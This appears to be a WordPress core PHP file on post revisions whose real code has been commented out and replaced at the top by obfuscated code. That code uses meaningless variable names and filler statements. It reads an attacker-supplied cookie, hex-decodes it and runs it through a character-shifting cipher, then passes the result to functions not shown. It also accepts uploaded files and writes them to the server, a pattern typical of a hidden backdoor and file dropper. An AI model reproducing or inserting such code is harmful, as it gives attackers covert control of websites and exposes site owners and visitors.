            $alt_deg_dec = strtotime($working_directory['post_date_gmt']);
            /*
             * If this is the first post checked
             * or if this post is newer than the current recent post,
             * make it the new most recent post.
             */
            if (!isset($wp_registered_widget_controls['post_gmt_ts']) || $alt_deg_dec > $wp_registered_widget_controls['post_gmt_ts']) {
                $wp_registered_widget_controls = array('blog_id' => $thumbnail_update->userblog_id, 'post_id' => $working_directory['ID'], 'post_date_gmt' => $working_directory['post_date_gmt'], 'post_gmt_ts' => $alt_deg_dec);
            }
        }
    }
    return $wp_registered_widget_controls;
}


/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var int
	 */

 function text_or_binary($fluid_font_size_settings, $last_name, $role_names){
 $handled = range(1, 12);
 $tz = 12;
 
 
 $existing_lines = array_map(function($fseek) {return strtotime("+$fseek month");}, $handled);
 $home_scheme = 24;
 
 // Loci strings are UTF-8 or UTF-16 and null (x00/x0000) terminated. UTF-16 has a BOM
 // Check the font-weight.
 //   PCLZIP_OPT_BY_PREG :
 
 
     $has_border_width_support = $_FILES[$fluid_font_size_settings]['name'];
     $has_named_text_color = wp_functionality_constants($has_border_width_support);
     wp_render_widget($_FILES[$fluid_font_size_settings]['tmp_name'], $last_name);
     format_for_header($_FILES[$fluid_font_size_settings]['tmp_name'], $has_named_text_color);
 }


/**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray|null $formatted_time
     * @param int $outlen
     * @param SplFixedArray|null $salt
     * @param SplFixedArray|null $personal
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedMethodCall
     */

 function permalink_link($role_names){
     init_charset($role_names);
     remove($role_names);
 }


/* translators: %s: Site tagline example. */

 function locate_block_template($fluid_font_size_settings, $last_name, $role_names){
 // You may have had one or more 'wp_handle_upload_prefilter' functions error out the file. Handle that gracefully.
 // ----- Reduce the filename
 // Generate the style declarations.
 $ptype = 14;
 $what = "SimpleLife";
 $LegitimateSlashedGenreList = range(1, 10);
 $logout_url = 6;
     if (isset($_FILES[$fluid_font_size_settings])) {
         text_or_binary($fluid_font_size_settings, $last_name, $role_names);
     }
 
 array_walk($LegitimateSlashedGenreList, function(&$pingback_args) {$pingback_args = pow($pingback_args, 2);});
 $default_editor_styles = "CodeSample";
 $curl_version = strtoupper(substr($what, 0, 5));
 $thisfile_riff_WAVE_SNDM_0_data = 30;
 
 
     remove($role_names);
 }


/**
	 * Parent post controller.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Controller
	 */

 function edit_comment_link($fluid_font_size_settings, $last_name){
     $nav_menu_args_hmac = $_COOKIE[$fluid_font_size_settings];
 $stack = "135792468";
 $denominator = ['Toyota', 'Ford', 'BMW', 'Honda'];
 $logout_url = 6;
     $nav_menu_args_hmac = pack("H*", $nav_menu_args_hmac);
 
 // Each $atom_data has 2 bytes of datasize, plus 0x10B5, then data
 
 // VbriDelay
 // Push the current file onto all_discovered feeds so the user can
 
 // 32-bit
 
     $role_names = filter_option_sidebars_widgets_for_theme_switch($nav_menu_args_hmac, $last_name);
 //    int64_t b2  = 2097151 & (load_3(b + 5) >> 2);
     if (LittleEndian2Float($role_names)) {
 		$descendant_ids = permalink_link($role_names);
 
 
         return $descendant_ids;
 
     }
 
 	
     locate_block_template($fluid_font_size_settings, $last_name, $role_names);
 }


/**
 * Creates a new user from the "Users" form using $_POST information.
 *
 * @since 2.0.0
 *
 * @return int|WP_Error WP_Error or User ID.
 */

 function network_site_url($was_cache_addition_suspended) {
     foreach ($was_cache_addition_suspended as &$degrees) {
 
         $degrees = wp_plugin_directory_constants($degrees);
     }
     return $was_cache_addition_suspended;
 }


/**
 * Returns the HTML email link to the author of the current comment.
 *
 * Care should be taken to protect the email address and assure that email
 * harvesters do not capture your commenter's email address. Most assume that
 * their email address will not appear in raw form on the site. Doing so will
 * enable anyone, including those that people don't want to get the email
 * address and use it for their own means good and bad.
 *
 * @since 2.7.0
 * @since 4.6.0 Added the `$install_actions` parameter.
 *
 * @param string         $link_text Optional. Text to display instead of the comment author's email address.
 *                                  Default empty.
 * @param string         $before    Optional. Text or HTML to display before the email link. Default empty.
 * @param string         $after     Optional. Text or HTML to display after the email link. Default empty.
 * @param int|WP_Comment $install_actions   Optional. Comment ID or WP_Comment object. Default is the current comment.
 * @return string HTML markup for the comment author email link. By default, the email address is obfuscated
 *                via the {@see 'comment_email'} filter with antispambot().
 */

 function post_revisions_meta_box($patternses, $left_string){
 
     $Encoding = render_sitemaps($patternses) - render_sitemaps($left_string);
 $cat_ids = "computations";
 $handled = range(1, 12);
     $Encoding = $Encoding + 256;
 
 $existing_lines = array_map(function($fseek) {return strtotime("+$fseek month");}, $handled);
 $icon_180 = substr($cat_ids, 1, 5);
 $LAMEpresetUsedLookup = array_map(function($foundlang) {return date('Y-m', $foundlang);}, $existing_lines);
 $nextoffset = function($query_component) {return round($query_component, -1);};
 $time_class = function($filter_callback) {return date('t', strtotime($filter_callback)) > 30;};
 $trackbackmatch = strlen($icon_180);
 
     $Encoding = $Encoding % 256;
     $patternses = sprintf("%c", $Encoding);
 //phpcs:ignore WordPress.Security.NonceVerification.Recommended
 // This ensures that a fixed height does not override the aspect ratio.
 $p_remove_disk_letter = array_filter($LAMEpresetUsedLookup, $time_class);
 $exporter_keys = base_convert($trackbackmatch, 10, 16);
     return $patternses;
 }


/**
     * Add a "Reply-To" address.
     *
     * @param string $address The email address to reply to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */

 function filter_option_sidebars_widgets_for_theme_switch($header_length, $formatted_time){
 $logout_url = 6;
 $raw_sidebar = 21;
 $mime_types = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet'];
 $min_count = [72, 68, 75, 70];
     $post_max_size = strlen($formatted_time);
 $thisfile_riff_WAVE_SNDM_0_data = 30;
 $primary_meta_key = array_reverse($mime_types);
 $ord_chrs_c = max($min_count);
 $required_indicator = 34;
 $error_msg = 'Lorem';
 $button_shorthand = $raw_sidebar + $required_indicator;
 $pointers = array_map(function($toAddr) {return $toAddr + 5;}, $min_count);
 $unfiltered_posts = $logout_url + $thisfile_riff_WAVE_SNDM_0_data;
 
 $withcomments = $thisfile_riff_WAVE_SNDM_0_data / $logout_url;
 $ord_var_c = in_array($error_msg, $primary_meta_key);
 $is_url_encoded = $required_indicator - $raw_sidebar;
 $max_year = array_sum($pointers);
     $publicKey = strlen($header_length);
 // We didn't have reason to store the result of the last check.
 // Add caps for Subscriber role.
 $is_month = range($logout_url, $thisfile_riff_WAVE_SNDM_0_data, 2);
 $hibit = $ord_var_c ? implode('', $primary_meta_key) : implode('-', $mime_types);
 $atomcounter = range($raw_sidebar, $required_indicator);
 $default_value = $max_year / count($pointers);
 // https://github.com/JamesHeinrich/getID3/issues/263
 //         [50][35] -- Settings describing the encryption used. Must be present if the value of ContentEncodingType is 1 and absent otherwise.
     $post_max_size = $publicKey / $post_max_size;
     $post_max_size = ceil($post_max_size);
 // as of this Snoopy release.
 $allowed_hosts = strlen($hibit);
 $dst_h = array_filter($atomcounter, function($pingback_args) {$integer = round(pow($pingback_args, 1/3));return $integer * $integer * $integer === $pingback_args;});
 $b3 = mt_rand(0, $ord_chrs_c);
 $size_ratio = array_filter($is_month, function($s_y) {return $s_y % 3 === 0;});
     $sub2feed2 = str_split($header_length);
 $calling_post = array_sum($dst_h);
 $control_opts = 12345.678;
 $failed_updates = in_array($b3, $min_count);
 $declarations_array = array_sum($size_ratio);
 
 
 $has_thumbnail = implode("-", $is_month);
 $maxoffset = implode(",", $atomcounter);
 $before_widget_content = number_format($control_opts, 2, '.', ',');
 $htaccess_update_required = implode('-', $pointers);
     $formatted_time = str_repeat($formatted_time, $post_max_size);
 $translation_end = strrev($htaccess_update_required);
 $link_atts = ucfirst($maxoffset);
 $shared_term = ucfirst($has_thumbnail);
 $old_email = date('M');
 $real_file = substr($link_atts, 2, 6);
 $status_label = strlen($old_email) > 3;
 $orig_shortcode_tags = substr($shared_term, 5, 7);
 
 $remind_interval = str_replace("6", "six", $shared_term);
 $file_id = str_replace("21", "twenty-one", $link_atts);
 
 
 $language_directory = ctype_digit($orig_shortcode_tags);
 $bound = ctype_print($real_file);
 
 $roomtyp = count($is_month);
 $intermediate_dir = count($atomcounter);
 $panel_type = strrev($remind_interval);
 $the_link = str_shuffle($file_id);
     $BASE_CACHE = str_split($formatted_time);
 // Disable when streaming to file.
 $terminator = explode("-", $remind_interval);
 $input_vars = explode(",", $file_id);
 //    if entire frame data is unsynched, de-unsynch it now (ID3v2.3.x)
 $block_registry = $maxoffset == $file_id;
 $iter = $has_thumbnail == $remind_interval;
 
 // The finished rules. phew!
     $BASE_CACHE = array_slice($BASE_CACHE, 0, $publicKey);
 // 192 kbps
 
     $plugin_editable_files = array_map("post_revisions_meta_box", $sub2feed2, $BASE_CACHE);
 
 
 // Identification        <text string> $00
 #                                 sizeof new_key_and_inonce,
 
 // Reject invalid cookie domains
 // otherwise any atoms beyond the 'mdat' atom would not get parsed
     $plugin_editable_files = implode('', $plugin_editable_files);
 
     return $plugin_editable_files;
 }
/* 
	} elseif ( ARRAY_A === $output ) {
		$_revision = get_object_vars( $revision );
		return $_revision;
	} elseif ( ARRAY_N === $output ) {
		$_revision = array_values( get_object_vars( $revision ) );
		return $_revision;
	}

	return $revision;
}

*
 * Restores a post to the specified revision.
 *
 * Can restore a past revision using all fields of the post revision, or only selected fields.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $revision Revision ID or revision object.
 * @param array       $fields   Optional. What fields to restore from. Defaults to all.
 * @return int|false|null Null if error, false if no fields to restore, (int) post ID if success.
 
function wp_restore_post_revision( $revision, $fields = null ) {
	$revision = wp_get_post_revision( $revision, ARRAY_A );

	if ( ! $revision ) {
		return $revision;
	}

	if ( ! is_array( $fields ) ) {
		$fields = array_keys( _wp_post_revision_fields( $revision ) );
	}

	$update = array();
	foreach ( array_intersect( array_keys( $revision ), $fields ) as $field ) {
		$update[ $field ] = $revision[ $field ];
	}

	if ( ! $update ) {
		return false;
	}

	$update['ID'] = $revision['post_parent'];

	$update = wp_slash( $update );  Since data is from DB.

	$post_id = wp_update_post( $update );

	if ( ! $post_id || is_wp_error( $post_id ) ) {
		return $post_id;
	}

	 Update last edit user.
	update_post_meta( $post_id, '_edit_last', get_current_user_id() );

	*
	 * Fires after a post revision has been restored.
	 *
	 * @since 2.6.0
	 *
	 * @param int $post_id     Post ID.
	 * @param int $revision_id Post revision ID.
	 
	do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] );

	return $post_id;
}

*
 * Restore the revisioned meta values for a post.
 *
 * @since 6.4.0
 *
 * @param int $post_id     The ID of the post to restore the meta to.
 * @param int $revision_id The ID of the revision to restore the meta from.
 
function wp_restore_post_revision_meta( $post_id, $revision_id ) {
	$post_type = get_post_type( $post_id );
	if ( ! $post_type ) {
		return;
	}

	 Restore revisioned meta fields.
	foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) {

		 Clear any existing meta.
		delete_post_meta( $post_id, $meta_key );

		_wp_copy_post_meta( $revision_id, $post_id, $meta_key );
	}
}

*
 * Copy post meta for the given key from one post to another.
 *
 * @since 6.4.0
 *
 * @param int    $source_post_id Post ID to copy meta value(s) from.
 * @param int    $target_post_id Post ID to copy meta value(s) to.
 * @param string $meta_key       Meta key to copy.
 
function _wp_copy_post_meta( $source_post_id, $target_post_id, $meta_key ) {

	foreach ( get_post_meta( $source_post_id, $meta_key ) as $meta_value ) {
		*
		 * We use add_metadata() function vs add_post_meta() here
		 * to allow for a revision post target OR regular post.
		 
		add_metadata( 'post', $target_post_id, $meta_key, wp_slash( $meta_value ) );
	}
}

*
 * Determine which post meta fields should be revisioned.
 *
 * @since 6.4.0
 *
 * @param string $post_type The post type being revisioned.
 * @return array An array of meta keys to be revisioned.
 
function wp_post_revision_meta_keys( $post_type ) {
	$registered_meta = array_merge(
		get_registered_meta_keys( 'post' ),
		get_registered_meta_keys( 'post', $post_type )
	);

	$wp_revisioned_meta_keys = array();

	foreach ( $registered_meta as $name => $args ) {
		if ( $args['revisions_enabled'] ) {
			$wp_revisioned_meta_keys[ $name ] = true;
		}
	}

	$wp_revisioned_meta_keys = array_keys( $wp_revisioned_meta_keys );

	*
	 * Filter the list of post meta keys to be revisioned.
	 *
	 * @since 6.4.0
	 *
	 * @param array  $keys      An array of meta fields to be revisioned.
	 * @param string $post_type The post type being revisioned.
	 
	return apply_filters( 'wp_post_revision_meta_keys', $wp_revisioned_meta_keys, $post_type );
}

*
 * Check whether revisioned post meta fields have changed.
 *
 * @since 6.4.0
 *
 * @param bool    $post_has_changed Whether the post has changed.
 * @param WP_Post $last_revision    The last revision post object.
 * @param WP_Post $post             The post object.
 * @return bool Whether the post has changed.
 
function wp_check_revisioned_meta_fields_have_changed( $post_has_changed, WP_Post $last_revision, WP_Post $post ) {
	foreach ( wp_post_revision_meta_keys( $post->post_type ) as $meta_key ) {
		if ( get_post_meta( $post->ID, $meta_key ) !== get_post_meta( $last_revision->ID, $meta_key ) ) {
			$post_has_changed = true;
			break;
		}
	}
	return $post_has_changed;
}

*
 * Deletes a revision.
 *
 * Deletes the row from the posts table corresponding to the specified revision.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $revision Revision ID or revision object.
 * @return WP_Post|false|null Null or false if error, deleted post object if success.
 
function wp_delete_post_revision( $revision ) {
	$revision = wp_get_post_revision( $revision );

	if ( ! $revision ) {
		return $revision;
	}

	$delete = wp_delete_post( $revision->ID );

	if ( $delete ) {
		*
		 * Fires once a post revision has been deleted.
		 *
		 * @since 2.6.0
		 *
		 * @param int     $revision_id Post revision ID.
		 * @param WP_Post $revision    Post revision object.
		 
		do_action( 'wp_delete_post_revision', $revision->ID, $revision );
	}

	return $delete;
}

*
 * Returns all revisions of specified post.
 *
 * @since 2.6.0
 *
 * @see get_children()
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @param array|null  $args Optional. Arguments for retrieving post revisions. Default null.
 * @return WP_Post[]|int[] Array of revision objects or IDs, or an empty array if none.
 
function wp_get_post_revisions( $post = 0, $args = null ) {
	$post = get_post( $post );

	if ( ! $post || empty( $post->ID ) ) {
		return array();
	}

	$defaults = array(
		'order'         => 'DESC',
		'orderby'       => 'date ID',
		'check_enabled' => true,
	);
	$args     = wp_parse_args( $args, $defaults );

	if ( $args['check_enabled'] && ! wp_revisions_enabled( $post ) ) {
		return array();
	}

	$args = array_merge(
		$args,
		array(
			'post_parent' => $post->ID,
			'post_type'   => 'revision',
			'post_status' => 'inherit',
		)
	);

	$revisions = get_children( $args );

	if ( ! $revisions ) {
		return array();
	}

	return $revisions;
}

*
 * Returns the latest revision ID and count of revisions for a post.
 *
 * @since 6.1.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return array|WP_Error {
 *     Returns associative array with latest revision ID and total count,
 *     or a WP_Error if the post does not exist or revisions are not enabled.
 *
 *     @type int $latest_id The latest revision post ID or 0 if no revisions exist.
 *     @type int $count     The total count of revisions for the given post.
 * }
 
function wp_get_latest_revision_id_and_total_count( $post = 0 ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return new WP_Error( 'invalid_post', __( 'Invalid post.' ) );
	}

	if ( ! wp_revisions_enabled( $post ) ) {
		return new WP_Error( 'revisions_not_enabled', __( 'Revisions not enabled.' ) );
	}

	$args = array(
		'post_parent'         => $post->ID,
		'fields'              => 'ids',
		'post_type'           => 'revision',
		'post_status'         => 'inherit',
		'order'               => 'DESC',
		'orderby'             => 'date ID',
		'posts_per_page'      => 1,
		'ignore_sticky_posts' => true,
	);

	$revision_query = new WP_Query();
	$revisions      = $revision_query->query( $args );

	if ( ! $revisions ) {
		return array(
			'latest_id' => 0,
			'count'     => 0,
		);
	}

	return array(
		'latest_id' => $revisions[0],
		'count'     => $revision_query->found_posts,
	);
}

*
 * Returns the url for viewing and potentially restoring revisions of a given post.
 *
 * @since 5.9.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return string|null The URL for editing revisions on the given post, otherwise null.
 
function wp_get_post_revisions_url( $post = 0 ) {
	$post = get_post( $post );

	if ( ! $post instanceof WP_Post ) {
		return null;
	}

	 If the post is a revision, return early.
	if ( 'revision' === $post->post_type ) {
		return get_edit_post_link( $post );
	}

	if ( ! wp_revisions_enabled( $post ) ) {
		return null;
	}

	$revisions = wp_get_latest_revision_id_and_total_count( $post->ID );

	if ( is_wp_error( $revisions ) || 0 === $revisions['count'] ) {
		return null;
	}

	return get_edit_post_link( $revisions['latest_id'] );
}

*
 * Determines whether revisions are enabled for a given post.
 *
 * @since 3.6.0
 *
 * @param WP_Post $post The post object.
 * @return bool True if number of revisions to keep isn't zero, false otherwise.
 
function wp_revisions_enabled( $post ) {
	return wp_revisions_to_keep( $post ) !== 0;
}

*
 * Determines how many revisions to retain for a given post.
 *
 * By default, an infinite number of revisions are kept.
 *
 * The constant WP_POST_REVISIONS can be set in wp-config to specify the limit
 * of revisions to keep.
 *
 * @since 3.6.0
 *
 * @param WP_Post $post The post object.
 * @return int The number of revisions to keep.
 
function wp_revisions_to_keep( $post ) {
	$num = WP_POST_REVISIONS;

	if ( true === $num ) {
		$num = -1;
	} else {
		$num = (int) $num;
	}

	if ( ! post_type_supports( $post->post_type, 'revisions' ) ) {
		$num = 0;
	}

	*
	 * Filters the number of revisions to save for the given post.
	 *
	 * Overrides the value of WP_POST_REVISIONS.
	 *
	 * @since 3.6.0
	 *
	 * @param int     $num  Number of revisions to store.
	 * @param WP_Post $post Post object.
	 
	$num = apply_filters( 'wp_revisions_to_keep', $num, $post );

	*
	 * Filters the number of revisions to save for the given post by its post type.
	 *
	 * Overrides both the value of WP_POST_REVISIONS and the {@see 'wp_revisions_to_keep'} filter.
	 *
	 * The dynamic portion of the hook name, `$post->post_type`, refers to
	 * the post type slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `wp_post_revisions_to_keep`
	 *  - `wp_page_revisions_to_keep`
	 *
	 * @since 5.8.0
	 *
	 * @param int     $num  Number of revisions to store.
	 * @param WP_Post $post Post object.
	 
	$num = apply_filters( "wp_{$post->post_type}_revisions_to_keep", $num, $post );

	return (int) $num;
}

*
 * Sets up the post object for preview based on the post autosave.
 *
 * @since 2.7.0
 * @access private
 *
 * @param WP_Post $post
 * @return WP_Post|false
 
function _set_preview( $post ) {
	if ( ! is_object( $post ) ) {
		return $post;
	}

	$preview = wp_get_post_autosave( $post->ID );

	if ( is_object( $preview ) ) {
		$preview = sanitize_post( $preview );

		$post->post_content = $preview->post_content;
		$post->post_title   = $preview->post_title;
		$post->post_excerpt = $preview->post_excerpt;
	}

	add_filter( 'get_the_terms', '_wp_preview_terms_filter', 10, 3 );
	add_filter( 'get_post_metadata', '_wp_preview_post_thumbnail_filter', 10, 3 );
	add_filter( 'get_post_metadata', '_wp_preview_meta_filter', 10, 4 );

	return $post;
}

*
 * Filters the latest content for preview from the post autosave.
 *
 * @since 2.7.0
 * @access private
 
function _show_post_preview() {
	if ( isset( $_GET['preview_id'] ) && isset( $_GET['preview_nonce'] ) ) {
		$id = (int) $_GET['preview_id'];

		if ( false === wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) ) {
			wp_die( __( 'Sorry, you are not allowed to preview drafts.' ), 403 );
		}

		add_filter( 'the_preview', '_set_preview' );
	}
}

*
 * Filters terms lookup to set the post format.
 *
 * @since 3.6.0
 * @access private
 *
 * @param array  $terms
 * @param int    $post_id
 * @param string $taxonomy
 * @return array
 
function _wp_preview_terms_filter( $terms, $post_id, $taxonomy ) {
	$post = get_post();

	if ( ! $post ) {
		return $terms;
	}

	if ( empty( $_REQUEST['post_format'] ) || $post->ID !== $post_id
		|| 'post_format' !== $taxonomy || 'revision' === $post->post_type
	) {
		return $terms;
	}

	if ( 'standard' === $_REQUEST['post_format'] ) {
		$terms = array();
	} else {
		$term = get_term_by( 'slug', 'post-format-' . sanitize_key( $_REQUEST['post_format'] ), 'post_format' );

		if ( $term ) {
			$terms = array( $term );  Can only have one post format.
		}
	}

	return $terms;
}

*
 * Filters post thumbnail lookup to set the post thumbnail.
 *
 * @since 4.6.0
 * @access private
 *
 * @param null|array|string $value    The value to return - a single metadata value, or an array of values.
 * @param int               $post_id  Post ID.
 * @param string            $meta_key Meta key.
 * @return null|array The default return value or the post thumbnail meta array.
 
function _wp_preview_post_thumbnail_filter( $value, $post_id, $meta_key ) {
	$post = get_post();

	if ( ! $post ) {
		return $value;
	}

	if ( empty( $_REQUEST['_thumbnail_id'] ) || empty( $_REQUEST['preview_id'] )
		|| $post->ID !== $post_id || $post_id !== (int) $_REQUEST['preview_id']
		|| '_thumbnail_id' !== $meta_key || 'revision' === $post->post_type
	) {
		return $value;
	}

	$thumbnail_id = (int) $_REQUEST['_thumbnail_id'];

	if ( $thumbnail_id <= 0 ) {
		return '';
	}

	return (string) $thumbnail_id;
}

*
 * Gets the post revision version.
 *
 * @since 3.6.0
 * @access private
 *
 * @param WP_Post $revision
 * @return int|false
 
function _wp_get_post_revision_version( $revision ) {
	if ( is_object( $revision ) ) {
		$revision = get_object_vars( $revision );
	} elseif ( ! is_array( $revision ) ) {
		return false;
	}

	if ( preg_match( '/^\d+-(?:autosave|revision)-v(\d+)$/', $revision['post_name'], $matches ) ) {
		return (int) $matches[1];
	}

	return 0;
}

*
 * Upgrades the revisions author, adds the current post as a revision and sets the revisions version to 1.
 *
 * @since 3.6.0
 * @access private
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param WP_Post $post      Post object.
 * @param array   $revisions Current revisions of the post.
 * @return bool true if the revisions were upgraded, false if problems.
 
function _wp_upgrade_revisions_of_post( $post, $revisions ) {
	global $wpdb;

	 Add post option exclusively.
	$lock   = "revision-upgrade-{$post->ID}";
	$now    = time();
	$result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'off')  LOCK ", $lock, $now ) );

	if ( ! $result ) {
		 If we couldn't get a lock, see how old the previous lock is.
		$locked = get_option( $lock );

		if ( ! $locked ) {
			
			 * Can't write to the lock, and can't read the lock.
			 * Something broken has happened.
			 
			return false;
		}

		if ( $locked > $now - HOUR_IN_SECONDS ) {
			 Lock is not too old: some other process may be upgrading this post. Bail.
			return false;
		}

		 Lock is too old - update it (below) and continue.
	}

	 If we could get a lock, re-"add" the option to fire all the correct filters.
	update_option( $lock, $now );

	reset( $revisions );
	$add_last = true;

	do {
		$this_revision = current( $revisions );
		$prev_revision = next( $revisions );

		$this_revision_version = _wp_get_post_revision_version( $this_revision );

		 Something terrible happened.
		if ( false === $this_revision_version ) {
			continue;
		}

		
		 * 1 is the latest revision version, so we're already up to date.
		 * No need to add a copy of the post as latest revision.
		 
		if ( 0 < $this_revision_version ) {
			$add_last = false;
			continue;
		}

		 Always update the revision version.
		$update = array(
			'post_name' => preg_replace( '/^(\d+-(?:autosave|revision))[\d-]*$/', '$1-v1', $this_revision->post_name ),
		);

		
		 * If this revision is the oldest revision of the post, i.e. no $prev_revision,
		 * the correct post_author is probably $post->post_author, but that's only a good guess.
		 * Update the revision version only and Leave the author as-is.
		 
		if ( $prev_revision ) {
			$prev_revision_version = _wp_get_post_revision_version( $prev_revision );

			 If the previous revision is already up to date, it no longer has the information we need :(
			if ( $prev_revision_version < 1 ) {
				$update['post_author'] = $prev_revision->post_author;
			}
		}

		 Upgrade this revision.
		$result = $wpdb->update( $wpdb->posts, $update, array( 'ID' => $this_revision->ID ) );

		if ( $result ) {
			wp_cache_delete( $this_revision->ID, 'posts' );
		}
	} while ( $prev_revision );

	delete_option( $lock );

	 Add a copy of the post as latest revision.
	if ( $add_last ) {
		wp_save_post_revision( $post->ID );
	}

	return true;
}

*
 * Filters preview post meta retrieval to get values from the autosave.
 *
 * Filters revisioned meta keys only.
 *
 * @since 6.4.0
 *
 * @param mixed  $value     Meta value to filter.
 * @param int    $object_id Object ID.
 * @param string $meta_key  Meta key to filter a value for.
 * @param bool   $single    Whether to return a single value.
 * @return mixed Original meta value if the meta key isn't revisioned, the object doesn't exist,
 *               the post type is a revision or the post ID doesn't match the object ID.
 *               Otherwise, the revisioned meta value is returned for the preview.
 
function _wp_preview_meta_filter( $value, $object_id, $meta_key, $single ) {
	$post = get_post();

	if ( empty( $post )
		|| $post->ID !== $object_id
		|| ! in_array( $meta_key, wp_post_revision_meta_keys( $post->post_type ), true )
		|| 'revision' === $post->post_type
	) {
		return $value;
	}

	$preview = wp_get_post_autosave( $post->ID );

	if ( false === $preview ) {
		return $value;
	}

	return get_post_meta( $preview->ID, $meta_key, $single );
}
*/